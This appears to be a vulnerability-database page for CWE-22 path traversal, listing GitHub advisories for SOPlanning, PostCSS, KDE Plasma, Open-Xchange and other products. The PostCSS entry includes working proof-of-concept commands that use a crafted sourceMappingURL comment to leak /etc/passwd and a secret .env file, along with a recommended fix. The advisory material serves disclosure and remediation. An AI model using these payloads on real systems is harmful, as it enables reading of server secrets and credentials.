CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13223 vulnerabilities reference this CWE, most recent first.
GHSA-6G52-VWW8-5MH5
Vulnerability from github – Published: 2026-06-01 09:31 – Updated: 2026-06-01 09:31SOPlanning is vulnerable to Path Traversal in backup endpoints. Authenticated remote attacker is able to exploit a vulnerable endpoint and construct payloads that allow reading and executing files previously added through the backup functionality. Critically, due to CVE-2026-40543 (Missing Authorization), any backup file can be read by any (unauthorized) user.
This issue affects SOPlanning version 1.55 and below.
{
"affected": [],
"aliases": [
"CVE-2026-40547"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-01T09:16:17Z",
"severity": "MODERATE"
},
"details": "SOPlanning is vulnerable to Path Traversal in backup endpoints. Authenticated remote attacker is able to exploit a vulnerable endpoint and construct payloads that allow\u00a0reading and executing files previously added through the backup functionality. Critically, due to\u00a0CVE-2026-40543 (Missing Authorization), any backup file can be read by any (unauthorized) user.\n\nThis issue affects SOPlanning version 1.55 and below.",
"id": "GHSA-6g52-vww8-5mh5",
"modified": "2026-06-01T09:31:13Z",
"published": "2026-06-01T09:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40547"
},
{
"type": "WEB",
"url": "https://cert.pl/en/posts/2026/06/CVE-2026-40543"
},
{
"type": "WEB",
"url": "https://www.soplanning.org/en"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-6G55-P6WH-862Q
Vulnerability from github – Published: 2026-07-23 15:06 – Updated: 2026-07-23 15:06Summary
PostCSS's PreviousMap parses the /*# sourceMappingURL=PATH */ comment from any CSS string passed to process() and dereferences PATH against the local filesystem with no scheme, allowlist, or traversal check. An attacker who controls the CSS input can cause the host process to read any file readable by Node and leak the first ~10 bytes of its content through the resulting JSON.parse SyntaxError message. The bug also yields a precise file-existence oracle and a controllable-read primitive that may be combined with large-file targets for DoS. The behaviour is triggered with PostCSS's default options — no from, no map, no plugins required — and is therefore reachable from any pipeline that runs untrusted CSS through PostCSS (CMS themes, user-uploaded styles, browser-extension/userstyle processors, build pipelines for third-party packages, blog comment renderers, etc.).
Details
The dangerous chain lives in lib/previous-map.js and is wired into every Input construction at lib/input.js:70-77.
Input constructor (lib/input.js:70-77):
if (pathAvailable && sourceMapAvailable) {
let map = new PreviousMap(this.css, opts)
if (map.text) {
this.map = map
let file = map.consumer().file
if (!this.file && file) this.file = this.mapResolve(file)
}
}
PreviousMap constructor (lib/previous-map.js:17-29):
constructor(css, opts) {
if (opts.map === false) return
this.loadAnnotation(css)
this.inline = this.startWith(this.annotation, 'data:')
let prev = opts.map ? opts.map.prev : undefined
let text = this.loadMap(opts.from, prev)
...
}
Note opts.map === false is the only short-circuit. With default options (opts.map === undefined), the rest of the constructor — including the filesystem read — executes.
loadAnnotation (lib/previous-map.js:72-84) extracts the URL without sanitisation:
loadAnnotation(css) {
let comments = css.match(/\/\*\s*# sourceMappingURL=/g)
if (!comments) return
let start = css.lastIndexOf(comments.pop())
let end = css.indexOf('*/', start)
if (start > -1 && end > -1) {
this.annotation = this.getAnnotationURL(css.substring(start, end))
}
}
getAnnotationURL (lib/previous-map.js:59-61) only strips the /*# sourceMappingURL= prefix and trims whitespace — no scheme check, no path normalisation, no allowlist.
loadMap (lib/previous-map.js:124-128) — when prev is absent and the annotation is not an inline data: URI:
} else if (this.annotation) {
let map = this.annotation
if (file) map = join(dirname(file), map)
return this.loadFile(map)
}
- If
opts.fromis unset,fileis undefined and the raw attacker-supplied path (e.g./etc/passwd) is used directly. - If
opts.fromis set,path.join(dirname(file), attackerPath)is used.path.joindoes not block..segments, so../../../../../etc/passwdresolves outside the intended directory.
loadFile (lib/previous-map.js:86-92) is the sink:
loadFile(path) {
this.root = dirname(path)
if (existsSync(path)) {
this.mapFile = path
return readFileSync(path, 'utf-8').toString().trim()
}
}
The bytes are stored in this.text. Input immediately invokes map.consumer() (lib/input.js:74), which constructs a SourceMapConsumer (lib/previous-map.js:33). When the file is not valid source-map JSON (the common case), source-map-js calls JSON.parse, and V8's SyntaxError message embeds the first ~10 bytes of the file content:
Unexpected token 'r', "root:x:0:0"... is not valid JSON
This error is propagated back to the caller. Any application that surfaces PostCSS errors (logs, HTTP 500 responses, build-tool output, debug pages) discloses those bytes to the attacker.
Trust-boundary analysis:
* Attacker controls: CSS input passed to postcss().process(css, opts?).
* Server resources: any file readable by the Node process — typically including app config, environment files, SSH keys, /etc/passwd, /proc/self/environ, etc.
* No mitigations: there is no path validation, scheme allowlist, traversal check, or symlink check. The only relevant check (startWith(annotation, 'data:')) routes inline URIs to decodeInline; everything else hits loadFile.
Primitives obtained:
* (a) Arbitrary file read — bytes loaded into Node memory.
* (b) Information disclosure — first ~10 bytes leaked via JSON.parse SyntaxError message.
* (c) File-existence oracle — non-existent paths return silently from loadFile (existsSync is false → returns undefined → no map text → no consumer call → no error). Existent non-JSON paths throw. Existent JSON paths succeed silently. Three distinguishable states.
* (d) DoS primitive — directing the read at /dev/zero, very large files, or device files can stall or crash the process.
PoC
All commands executed against this repository's HEAD (postcss 8.5.10) on Node v22.12.0.
Vector 1 — Absolute path, default options (no from, no map):
$ node -e 'const p=require("postcss"); \
try { p().process("a{color:red}\n/*# sourceMappingURL=/etc/passwd */"); } \
catch(e){console.log(e.message)}'
Unexpected token 'r', "root:x:0:0"... is not valid JSON
The first 10 bytes of /etc/passwd (root:x:0:0) are leaked.
Vector 2 — Relative .. traversal with opts.from set (simulates a build pipeline that pins from to the source file):
$ node -e 'const p=require("postcss"); \
p().process("a{color:red}\n/*# sourceMappingURL=../../../../../etc/passwd */", \
{from:"/var/www/html/styles/main.css", map:{inline:false}}) \
.catch(e=>console.log(e.message))'
Unexpected token 'r', "root:x:0:0"... is not valid JSON
path.join('/var/www/html/styles', '../../../../../etc/passwd') resolves to /etc/passwd.
Vector 3 — File-existence oracle:
# Existing non-JSON file → throws (file confirmed to exist)
$ node -e 'require("postcss")().process("a{}\n/*# sourceMappingURL=/etc/passwd */")'
SyntaxError: Unexpected token 'r', "root:x:0:0"... is not valid JSON
# Non-existent file → returns silently (file confirmed absent)
$ node -e 'r=require("postcss")().process("a{}\n/*# sourceMappingURL=/no/such/file */"); console.log("ok")'
ok
Vector 4 — Custom file-content leak:
$ printf 'API_KEY=sk-secret-12345\n' > /tmp/server-secret.env
$ node -e 'require("postcss")().process("a{}\n/*# sourceMappingURL=/tmp/server-secret.env */")' 2>&1 | head -1
SyntaxError: Unexpected token 'A', "API_KEY=sk"... is not valid JSON
The first 10 bytes of /tmp/server-secret.env (API_KEY=sk) are leaked — sufficient to confirm a token's presence and, in many cases, recover its prefix.
Filesystem-call trace (proves the read happens with no opts at all):
const fs = require('fs');
const orig = fs.readFileSync;
fs.readFileSync = function(p){
if (typeof p==='string' && p.startsWith('/etc')) console.log('[FILE READ]:', p);
return orig.apply(this, arguments);
};
require('postcss')().process('a{}\n/*# sourceMappingURL=/etc/hostname */');
// → [FILE READ]: /etc/hostname
// → SyntaxError: Unexpected token 'D', "Debian-tri"... is not valid JSON
Impact
- Arbitrary file read of any file readable by the Node process from any CSS-processing context that accepts attacker-influenced CSS. PostCSS has hundreds of millions of weekly npm downloads and is the standard CSS processor for build tools (webpack
postcss-loader, vite, parcel, Next.js, Gatsby, etc.) and for runtime CSS-handling libraries (CSS Modules tools, CSS minifiers, theme processors). Any pipeline that runs untrusted user CSS — CMS theme uploads, user-styled blog posts, browser-extension/userstyle services, multi-tenant build farms, third-party-package build pipelines — is exposed. - Confidentiality leak of the first ~10 bytes of the targeted file via
JSON.parseSyntaxError. This is enough to recover SSH-key headers, environment-variable prefixes (API_KEY=sk…),/etc/passwdrecords, the start of/proc/self/environ, and other high-value secrets, and to fingerprint the host (Debian-tri…from/etc/hostname). - File-existence oracle with three distinguishable response states (silent success,
JSON.parseerror, no-such-file silence), enabling reconnaissance of the host filesystem layout and confirmation of installed software, user accounts, and configuration files. - DoS by targeting
/dev/zero,/proc/kcore, very large files, or named pipes —readFileSyncis a synchronous, unbounded read. - Default-on: triggered with
postcss().process(css)and no options. The only configuration that disables the bug is the explicit, undocumented-for-this-purpose{ map: false }.
Recommended Fix
The root cause is that loadFile accepts any path the attacker supplies inside a CSS comment. The annotation is meant for tooling, not for production CSS processing of untrusted input. Two layered fixes:
- Refuse traversal/absolute paths in
loadMap(defence-in-depth):
js
// lib/previous-map.js
loadMap(file, prev) {
if (prev === false) return false
if (prev) { /* unchanged */ }
else if (this.inline) {
return this.decodeInline(this.annotation)
} else if (this.annotation) {
let annotation = this.annotation
// Reject schemes (other than data:, handled above) and absolute paths.
if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(annotation)) return
if (require('path').isAbsolute(annotation)) return
if (!file) return // No base path → cannot safely resolve.
const base = require('path').resolve(require('path').dirname(file))
const resolved = require('path').resolve(base, annotation)
// Refuse anything that escapes the base directory.
if (resolved !== base && !resolved.startsWith(base + require('path').sep)) {
return
}
return this.loadFile(resolved)
}
}
- Require explicit opt-in to follow on-disk source-map annotations: gate the
loadFile(map)call inloadMapbehind an option such asopts.map.annotation === trueoropts.map.followAnnotation === true. Today, the only way to opt out is{ map: false }, which also disables in-memory previous-map handling. Inverting the default — only follow disk-resident annotations when explicitly asked — eliminates the entire attack surface for callers that pass untrusted CSS, while preserving build-tool use cases where the annotation is trusted.
A user-facing changelog entry should warn that postcss().process(untrustedCss) previously read attacker-controlled paths, and recommend auditing applications that surfaced PostCSS errors to end users.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.5.11"
},
"package": {
"ecosystem": "npm",
"name": "postcss"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.5.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45623"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-23T15:06:16Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nPostCSS\u0027s `PreviousMap` parses the `/*# sourceMappingURL=PATH */` comment from any CSS string passed to `process()` and dereferences `PATH` against the local filesystem with no scheme, allowlist, or traversal check. An attacker who controls the CSS input can cause the host process to read any file readable by Node and leak the first ~10 bytes of its content through the resulting `JSON.parse` `SyntaxError` message. The bug also yields a precise file-existence oracle and a controllable-read primitive that may be combined with large-file targets for DoS. The behaviour is triggered with PostCSS\u0027s default options \u2014 no `from`, no `map`, no plugins required \u2014 and is therefore reachable from any pipeline that runs untrusted CSS through PostCSS (CMS themes, user-uploaded styles, browser-extension/userstyle processors, build pipelines for third-party packages, blog comment renderers, etc.).\n\n## Details\n\nThe dangerous chain lives in `lib/previous-map.js` and is wired into every `Input` construction at `lib/input.js:70-77`.\n\n`Input` constructor (`lib/input.js:70-77`):\n\n```js\nif (pathAvailable \u0026\u0026 sourceMapAvailable) {\n let map = new PreviousMap(this.css, opts)\n if (map.text) {\n this.map = map\n let file = map.consumer().file\n if (!this.file \u0026\u0026 file) this.file = this.mapResolve(file)\n }\n}\n```\n\n`PreviousMap` constructor (`lib/previous-map.js:17-29`):\n\n```js\nconstructor(css, opts) {\n if (opts.map === false) return\n this.loadAnnotation(css)\n this.inline = this.startWith(this.annotation, \u0027data:\u0027)\n\n let prev = opts.map ? opts.map.prev : undefined\n let text = this.loadMap(opts.from, prev)\n ...\n}\n```\n\nNote `opts.map === false` is the only short-circuit. With default options (`opts.map === undefined`), the rest of the constructor \u2014 including the filesystem read \u2014 executes.\n\n`loadAnnotation` (`lib/previous-map.js:72-84`) extracts the URL **without sanitisation**:\n\n```js\nloadAnnotation(css) {\n let comments = css.match(/\\/\\*\\s*# sourceMappingURL=/g)\n if (!comments) return\n let start = css.lastIndexOf(comments.pop())\n let end = css.indexOf(\u0027*/\u0027, start)\n if (start \u003e -1 \u0026\u0026 end \u003e -1) {\n this.annotation = this.getAnnotationURL(css.substring(start, end))\n }\n}\n```\n\n`getAnnotationURL` (`lib/previous-map.js:59-61`) only strips the `/*# sourceMappingURL=` prefix and trims whitespace \u2014 no scheme check, no path normalisation, no allowlist.\n\n`loadMap` (`lib/previous-map.js:124-128`) \u2014 when `prev` is absent and the annotation is not an inline `data:` URI:\n\n```js\n} else if (this.annotation) {\n let map = this.annotation\n if (file) map = join(dirname(file), map)\n return this.loadFile(map)\n}\n```\n\n* If `opts.from` is unset, `file` is undefined and the raw attacker-supplied path (e.g. `/etc/passwd`) is used directly.\n* If `opts.from` is set, `path.join(dirname(file), attackerPath)` is used. `path.join` does **not** block `..` segments, so `../../../../../etc/passwd` resolves outside the intended directory.\n\n`loadFile` (`lib/previous-map.js:86-92`) is the sink:\n\n```js\nloadFile(path) {\n this.root = dirname(path)\n if (existsSync(path)) {\n this.mapFile = path\n return readFileSync(path, \u0027utf-8\u0027).toString().trim()\n }\n}\n```\n\nThe bytes are stored in `this.text`. `Input` immediately invokes `map.consumer()` (`lib/input.js:74`), which constructs a `SourceMapConsumer` (`lib/previous-map.js:33`). When the file is not valid source-map JSON (the common case), `source-map-js` calls `JSON.parse`, and V8\u0027s `SyntaxError` message embeds the first ~10 bytes of the file content:\n\n```\nUnexpected token \u0027r\u0027, \"root:x:0:0\"... is not valid JSON\n```\n\nThis error is propagated back to the caller. Any application that surfaces PostCSS errors (logs, HTTP 500 responses, build-tool output, debug pages) discloses those bytes to the attacker.\n\nTrust-boundary analysis:\n* Attacker controls: CSS input passed to `postcss().process(css, opts?)`.\n* Server resources: any file readable by the Node process \u2014 typically including app config, environment files, SSH keys, `/etc/passwd`, `/proc/self/environ`, etc.\n* No mitigations: there is no path validation, scheme allowlist, traversal check, or symlink check. The only relevant check (`startWith(annotation, \u0027data:\u0027)`) routes inline URIs to `decodeInline`; everything else hits `loadFile`.\n\nPrimitives obtained:\n* (a) **Arbitrary file read** \u2014 bytes loaded into Node memory.\n* (b) **Information disclosure** \u2014 first ~10 bytes leaked via `JSON.parse` `SyntaxError` message.\n* (c) **File-existence oracle** \u2014 non-existent paths return silently from `loadFile` (`existsSync` is false \u2192 returns undefined \u2192 no map text \u2192 no consumer call \u2192 no error). Existent non-JSON paths throw. Existent JSON paths succeed silently. Three distinguishable states.\n* (d) **DoS primitive** \u2014 directing the read at `/dev/zero`, very large files, or device files can stall or crash the process.\n\n## PoC\n\nAll commands executed against this repository\u0027s HEAD (postcss 8.5.10) on Node v22.12.0.\n\n**Vector 1 \u2014 Absolute path, default options (no `from`, no `map`):**\n\n```bash\n$ node -e \u0027const p=require(\"postcss\"); \\\n try { p().process(\"a{color:red}\\n/*# sourceMappingURL=/etc/passwd */\"); } \\\n catch(e){console.log(e.message)}\u0027\nUnexpected token \u0027r\u0027, \"root:x:0:0\"... is not valid JSON\n```\n\nThe first 10 bytes of `/etc/passwd` (`root:x:0:0`) are leaked.\n\n**Vector 2 \u2014 Relative `..` traversal with `opts.from` set (simulates a build pipeline that pins `from` to the source file):**\n\n```bash\n$ node -e \u0027const p=require(\"postcss\"); \\\n p().process(\"a{color:red}\\n/*# sourceMappingURL=../../../../../etc/passwd */\", \\\n {from:\"/var/www/html/styles/main.css\", map:{inline:false}}) \\\n .catch(e=\u003econsole.log(e.message))\u0027\nUnexpected token \u0027r\u0027, \"root:x:0:0\"... is not valid JSON\n```\n\n`path.join(\u0027/var/www/html/styles\u0027, \u0027../../../../../etc/passwd\u0027)` resolves to `/etc/passwd`.\n\n**Vector 3 \u2014 File-existence oracle:**\n\n```bash\n# Existing non-JSON file \u2192 throws (file confirmed to exist)\n$ node -e \u0027require(\"postcss\")().process(\"a{}\\n/*# sourceMappingURL=/etc/passwd */\")\u0027\nSyntaxError: Unexpected token \u0027r\u0027, \"root:x:0:0\"... is not valid JSON\n\n# Non-existent file \u2192 returns silently (file confirmed absent)\n$ node -e \u0027r=require(\"postcss\")().process(\"a{}\\n/*# sourceMappingURL=/no/such/file */\"); console.log(\"ok\")\u0027\nok\n```\n\n**Vector 4 \u2014 Custom file-content leak:**\n\n```bash\n$ printf \u0027API_KEY=sk-secret-12345\\n\u0027 \u003e /tmp/server-secret.env\n$ node -e \u0027require(\"postcss\")().process(\"a{}\\n/*# sourceMappingURL=/tmp/server-secret.env */\")\u0027 2\u003e\u00261 | head -1\nSyntaxError: Unexpected token \u0027A\u0027, \"API_KEY=sk\"... is not valid JSON\n```\n\nThe first 10 bytes of `/tmp/server-secret.env` (`API_KEY=sk`) are leaked \u2014 sufficient to confirm a token\u0027s presence and, in many cases, recover its prefix.\n\n**Filesystem-call trace** (proves the read happens with no opts at all):\n\n```js\nconst fs = require(\u0027fs\u0027);\nconst orig = fs.readFileSync;\nfs.readFileSync = function(p){\n if (typeof p===\u0027string\u0027 \u0026\u0026 p.startsWith(\u0027/etc\u0027)) console.log(\u0027[FILE READ]:\u0027, p);\n return orig.apply(this, arguments);\n};\nrequire(\u0027postcss\u0027)().process(\u0027a{}\\n/*# sourceMappingURL=/etc/hostname */\u0027);\n// \u2192 [FILE READ]: /etc/hostname\n// \u2192 SyntaxError: Unexpected token \u0027D\u0027, \"Debian-tri\"... is not valid JSON\n```\n\n## Impact\n\n* **Arbitrary file read** of any file readable by the Node process from any CSS-processing context that accepts attacker-influenced CSS. PostCSS has hundreds of millions of weekly npm downloads and is the standard CSS processor for build tools (webpack `postcss-loader`, vite, parcel, Next.js, Gatsby, etc.) and for runtime CSS-handling libraries (CSS Modules tools, CSS minifiers, theme processors). Any pipeline that runs untrusted user CSS \u2014 CMS theme uploads, user-styled blog posts, browser-extension/userstyle services, multi-tenant build farms, third-party-package build pipelines \u2014 is exposed.\n* **Confidentiality leak** of the first ~10 bytes of the targeted file via `JSON.parse` `SyntaxError`. This is enough to recover SSH-key headers, environment-variable prefixes (`API_KEY=sk\u2026`), `/etc/passwd` records, the start of `/proc/self/environ`, and other high-value secrets, and to fingerprint the host (`Debian-tri\u2026` from `/etc/hostname`).\n* **File-existence oracle** with three distinguishable response states (silent success, `JSON.parse` error, no-such-file silence), enabling reconnaissance of the host filesystem layout and confirmation of installed software, user accounts, and configuration files.\n* **DoS** by targeting `/dev/zero`, `/proc/kcore`, very large files, or named pipes \u2014 `readFileSync` is a synchronous, unbounded read.\n* **Default-on**: triggered with `postcss().process(css)` and no options. The only configuration that disables the bug is the explicit, undocumented-for-this-purpose `{ map: false }`.\n\n## Recommended Fix\n\nThe root cause is that `loadFile` accepts any path the attacker supplies inside a CSS comment. The annotation is meant for tooling, not for production CSS processing of untrusted input. Two layered fixes:\n\n1. **Refuse traversal/absolute paths in `loadMap`** (defence-in-depth):\n\n ```js\n // lib/previous-map.js\n loadMap(file, prev) {\n if (prev === false) return false\n if (prev) { /* unchanged */ }\n else if (this.inline) {\n return this.decodeInline(this.annotation)\n } else if (this.annotation) {\n let annotation = this.annotation\n // Reject schemes (other than data:, handled above) and absolute paths.\n if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(annotation)) return\n if (require(\u0027path\u0027).isAbsolute(annotation)) return\n if (!file) return // No base path \u2192 cannot safely resolve.\n const base = require(\u0027path\u0027).resolve(require(\u0027path\u0027).dirname(file))\n const resolved = require(\u0027path\u0027).resolve(base, annotation)\n // Refuse anything that escapes the base directory.\n if (resolved !== base \u0026\u0026 !resolved.startsWith(base + require(\u0027path\u0027).sep)) {\n return\n }\n return this.loadFile(resolved)\n }\n }\n ```\n\n2. **Require explicit opt-in to follow on-disk source-map annotations**: gate the `loadFile(map)` call in `loadMap` behind an option such as `opts.map.annotation === true` or `opts.map.followAnnotation === true`. Today, the only way to opt out is `{ map: false }`, which also disables in-memory previous-map handling. Inverting the default \u2014 only follow disk-resident annotations when explicitly asked \u2014 eliminates the entire attack surface for callers that pass untrusted CSS, while preserving build-tool use cases where the annotation is trusted.\n\nA user-facing changelog entry should warn that `postcss().process(untrustedCss)` previously read attacker-controlled paths, and recommend auditing applications that surfaced PostCSS errors to end users.",
"id": "GHSA-6g55-p6wh-862q",
"modified": "2026-07-23T15:06:16Z",
"published": "2026-07-23T15:06:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/postcss/postcss/security/advisories/GHSA-6g55-p6wh-862q"
},
{
"type": "WEB",
"url": "https://github.com/postcss/postcss/commit/aaec7b78b3ce2792585b4b300ef1bd5dd5b3e8ad"
},
{
"type": "WEB",
"url": "https://github.com/postcss/postcss/commit/c64b7488d2731dfa16213739b42c34faf5a9eba3"
},
{
"type": "PACKAGE",
"url": "https://github.com/postcss/postcss"
},
{
"type": "WEB",
"url": "https://github.com/postcss/postcss/releases/tag/8.5.12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "PostCSS: Arbitrary file read and information disclosure via attacker-controlled sourceMappingURL in CSS comments"
}
GHSA-6G65-3CF7-CHXV
Vulnerability from github – Published: 2024-02-12 00:30 – Updated: 2024-02-12 00:30A vulnerability, which was classified as problematic, was found in KDE Plasma Workspace up to 5.93.0. This affects the function EventPluginsManager::enabledPlugins of the file components/calendar/eventpluginsmanager.cpp of the component Theme File Handler. The manipulation of the argument pluginId leads to path traversal. It is possible to initiate the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The patch is named 6cdf42916369ebf4ad5bd876c4dfa0170d7b2f01. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-253407. NOTE: This requires write access to user's home or the installation of third party global themes.
{
"affected": [],
"aliases": [
"CVE-2024-1433"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-11T23:15:07Z",
"severity": "LOW"
},
"details": "A vulnerability, which was classified as problematic, was found in KDE Plasma Workspace up to 5.93.0. This affects the function EventPluginsManager::enabledPlugins of the file components/calendar/eventpluginsmanager.cpp of the component Theme File Handler. The manipulation of the argument pluginId leads to path traversal. It is possible to initiate the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The patch is named 6cdf42916369ebf4ad5bd876c4dfa0170d7b2f01. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-253407. NOTE: This requires write access to user\u0027s home or the installation of third party global themes.",
"id": "GHSA-6g65-3cf7-chxv",
"modified": "2024-02-12T00:30:22Z",
"published": "2024-02-12T00:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1433"
},
{
"type": "WEB",
"url": "https://github.com/KDE/plasma-workspace/commit/6cdf42916369ebf4ad5bd876c4dfa0170d7b2f01"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.253407"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.253407"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6G6H-84H4-RG9P
Vulnerability from github – Published: 2022-05-14 03:10 – Updated: 2022-05-14 03:10Absolute path traversal vulnerability in the readerengine component in Open-Xchange OX App Suite before 7.6.3-rev3, 7.8.x before 7.8.2-rev4, 7.8.3 before 7.8.3-rev5, and 7.8.4 before 7.8.4-rev4 allows remote attackers to read arbitrary files via a full pathname in a formula in a spreadsheet.
{
"affected": [],
"aliases": [
"CVE-2018-5755"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-06-16T01:29:00Z",
"severity": "HIGH"
},
"details": "Absolute path traversal vulnerability in the readerengine component in Open-Xchange OX App Suite before 7.6.3-rev3, 7.8.x before 7.8.2-rev4, 7.8.3 before 7.8.3-rev5, and 7.8.4 before 7.8.4-rev4 allows remote attackers to read arbitrary files via a full pathname in a formula in a spreadsheet.",
"id": "GHSA-6g6h-84h4-rg9p",
"modified": "2022-05-14T03:10:26Z",
"published": "2022-05-14T03:10:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-5755"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/44881"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/148118/OX-App-Suite-7.8.4-XSS-Privilege-Management-SSRF-Traversal.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2018/Jun/23"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6G7W-F35J-V8RH
Vulnerability from github – Published: 2022-05-17 05:27 – Updated: 2022-05-17 05:27Directory traversal vulnerability in Tridium Niagara AX Framework allows remote attackers to read files outside of the intended images, nav, and px folders by leveraging incorrect permissions, as demonstrated by reading the config.bog file.
{
"affected": [],
"aliases": [
"CVE-2012-4027"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-07-16T20:55:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in Tridium Niagara AX Framework allows remote attackers to read files outside of the intended images, nav, and px folders by leveraging incorrect permissions, as demonstrated by reading the config.bog file.",
"id": "GHSA-6g7w-f35j-v8rh",
"modified": "2022-05-17T05:27:45Z",
"published": "2022-05-17T05:27:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-4027"
},
{
"type": "WEB",
"url": "https://www.tridium.com/galleries/briefings/NiagaraAX_Framework_Software_Security_Alert.pdf"
},
{
"type": "WEB",
"url": "http://www.washingtonpost.com/investigations/tridiums-niagara-framework-marvel-of-connectivity-illustrates-new-cyber-risks/2012/07/11/gJQARJL6dW_story.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6G88-VXJ5-C7R9
Vulnerability from github – Published: 2022-05-17 02:15 – Updated: 2025-04-20 03:32An issue was discovered in Advantech SUISAccess Server Version 3.0 and prior. The directory traversal/file upload error allows an attacker to upload and unpack a zip file.
{
"affected": [],
"aliases": [
"CVE-2016-9351"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-02-13T21:59:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Advantech SUISAccess Server Version 3.0 and prior. The directory traversal/file upload error allows an attacker to upload and unpack a zip file.",
"id": "GHSA-6g88-vxj5-c7r9",
"modified": "2025-04-20T03:32:47Z",
"published": "2022-05-17T02:15:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-9351"
},
{
"type": "WEB",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-16-336-04"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/42402"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/94629"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6G8G-59HM-X5FR
Vulnerability from github – Published: 2022-05-24 19:07 – Updated: 2022-05-24 19:07A Directory Traversal vulnerability in the Unzip feature in Elements-IT HTTP Commander 5.3.3 allows remote authenticated users to write files to arbitrary directories via relative paths in ZIP archives.
{
"affected": [],
"aliases": [
"CVE-2021-33211"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-07-14T14:15:00Z",
"severity": "MODERATE"
},
"details": "A Directory Traversal vulnerability in the Unzip feature in Elements-IT HTTP Commander 5.3.3 allows remote authenticated users to write files to arbitrary directories via relative paths in ZIP archives.",
"id": "GHSA-6g8g-59hm-x5fr",
"modified": "2022-05-24T19:07:59Z",
"published": "2022-05-24T19:07:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33211"
},
{
"type": "WEB",
"url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-021.txt"
},
{
"type": "WEB",
"url": "https://www.syss.de/pentest-blog"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6G8P-JH7R-R2GQ
Vulnerability from github – Published: 2022-05-01 23:37 – Updated: 2022-05-01 23:37Directory traversal vulnerability in the embedded HTTP server in SCI Photo Chat Server 3.4.9 and earlier allows remote attackers to read arbitrary files via a "..\" (dot dot backslash) or "../" (dot dot forward slash) in the GET command.
{
"affected": [],
"aliases": [
"CVE-2008-1169"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-03-05T23:44:00Z",
"severity": "HIGH"
},
